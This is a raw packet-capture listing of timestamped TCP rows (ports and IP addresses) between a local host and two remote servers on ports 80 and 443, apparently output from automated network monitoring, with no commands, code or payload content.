Dec 8, 2024 17:45:16.321263075 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.321307898 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.321378946 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.321479082 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.322455883 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.322515011 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.322591066 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.322696924 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.323618889 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.323667049 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.323723078 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.323767900 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.324850082 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.324908972 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.324938059 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.324979067 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.325942039 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.326001883 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.326126099 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.326174021 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.327146053 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.327198982 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.327358961 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.327408075 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.328300953 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.328375101 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.328406096 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.328454018 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.329461098 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.329503059 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.329544067 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.329591036 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.330630064 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.330688000 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.330791950 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.330836058 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.331790924 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.331844091 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.331943989 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.331990957 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.332976103 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.333022118 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.333158016 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.333242893 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.334131956 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.334180117 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.334264994 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.334307909 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.335302114 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.335351944 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.335478067 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.335597038 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.336498976 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.336549044 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.336699009 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.336746931 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.337784052 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.337829113 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.337882996 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.337934017 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.338823080 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.338884115 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.338939905 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.339153051 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.340007067 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.340066910 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.340131998 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.340236902 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.341202021 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.341250896 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.341291904 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.341346025 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.342344046 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.342391968 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.342458963 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.342505932 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.343513012 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.343560934 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.343602896 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.343770027 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.344641924 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.344700098 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.344779968 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.344820976 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.345849991 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.345897913 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.345927000 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.345976114 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.347002983 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.347057104 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.347138882 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.347182989 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.348153114 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.348197937 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.348252058 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.348297119 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.355530977 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.355617046 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.355654001 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.355743885 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.382219076 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.382277012 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.382555008 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.382601023 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.382608891 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.382643938 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.383619070 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.383686066 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.383785009 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.383835077 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.384836912 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.384886980 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.384911060 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.385015011 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.385344982 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.385392904 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.385426998 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.385715008 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.386532068 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.386579037 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.386641026 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.386928082 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.387677908 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.387737036 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.387823105 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.387864113 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.388828993 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.388875961 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.388945103 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.389067888 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.390019894 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.390077114 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.390181065 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.390249014 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.391180038 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.391220093 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.391351938 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.391398907 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.392369986 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.392462015 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.392550945 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.392601013 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.393522978 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.393611908 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.393647909 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.393704891 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.394716024 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.394773006 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.394803047 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.394876957 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.395884991 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.395941973 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.395951986 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.396092892 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.397053957 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.397116899 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.397202969 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.397264004 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.398200989 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.398261070 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.398346901 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.398396969 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.399435043 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.399478912 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.399550915 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.399596930 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.400571108 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.400630951 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.400654078 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.400691986 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.401721001 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.401766062 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.401806116 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.401844978 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.402888060 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.402976990 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.403023958 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.403065920 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.404053926 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.404110909 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.404186010 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.404226065 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.405232906 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.405303955 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.405335903 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.405509949 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.406449080 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.406510115 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.406532049 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.406558037 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.407572031 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.407685995 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.407704115 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.407721996 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.408711910 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.408754110 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.408787012 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.408838034 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.410005093 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.410069942 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.410073042 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.410103083 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.411103010 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.411164045 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.411195993 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.411237955 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.412234068 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.412367105 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.412414074 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.412470102 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.413438082 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.413525105 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.413573980 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.414592028 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.414732933 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.414788008 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.415736914 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.415848017 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.415893078 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.416929960 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.417047977 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.417104959 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.418066025 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.418324947 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.418385983 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.419327974 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.419383049 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.419481039 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.419601917 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.420486927 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.420528889 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.420602083 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.420644999 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.421737909 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.421792984 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.421797037 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.421945095 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.422791004 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.422903061 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.422920942 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.422966003 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.424031019 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.424084902 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.424176931 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.424218893 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.425158978 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.425214052 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.425240993 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.425283909 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.426282883 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.426322937 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.426420927 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.426476955 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.427423000 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.427488089 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.427567959 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.427644014 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.428632021 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.428682089 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.428721905 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.428760052 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.429779053 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.429856062 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.429881096 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.429923058 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.430921078 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.430979013 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.431044102 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.431154013 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.432137012 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.432184935 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.432224989 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.432265043 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.433274031 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.433334112 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.433428049 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.433512926 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.434463024 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.434518099 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.434570074 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.434607983 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.435702085 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.435744047 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.435745001 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.435782909 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.436801910 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.436851978 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.436916113 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.437026978 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.437943935 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.438004971 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.438049078 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:16.438153028 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:16.462326050 CET	443	49717	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.462601900 CET	443	49717	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.462663889 CET	49717	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.462754965 CET	49717	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.462754965 CET	49717	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.462774992 CET	443	49717	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.462784052 CET	443	49717	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.463198900 CET	443	49718	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.463219881 CET	443	49718	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.463258028 CET	49718	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.463274956 CET	443	49718	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.463288069 CET	443	49718	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.463335037 CET	49718	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.464904070 CET	49718	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.464919090 CET	443	49718	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.468713045 CET	49722	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.468745947 CET	443	49722	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.468801975 CET	49722	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.469330072 CET	49722	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.469343901 CET	443	49722	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.469670057 CET	49723	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.469705105 CET	443	49723	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.469755888 CET	49723	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.469862938 CET	49723	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.469875097 CET	443	49723	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.483433008 CET	443	49719	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.483458996 CET	443	49719	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.483530045 CET	49719	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.483542919 CET	443	49719	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.483717918 CET	49719	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.483720064 CET	443	49720	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.483731031 CET	443	49719	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.483740091 CET	49719	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.483740091 CET	443	49720	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.483787060 CET	49720	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.483798981 CET	443	49720	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.483876944 CET	443	49719	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.483905077 CET	443	49719	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.483925104 CET	49720	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.483966112 CET	49719	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.484772921 CET	49720	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.484777927 CET	443	49720	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.484792948 CET	49720	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.484925032 CET	443	49720	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.484955072 CET	443	49720	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:16.485014915 CET	49720	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:16.487173080 CET	49724	443	192.168.2.6	13.107.246.63
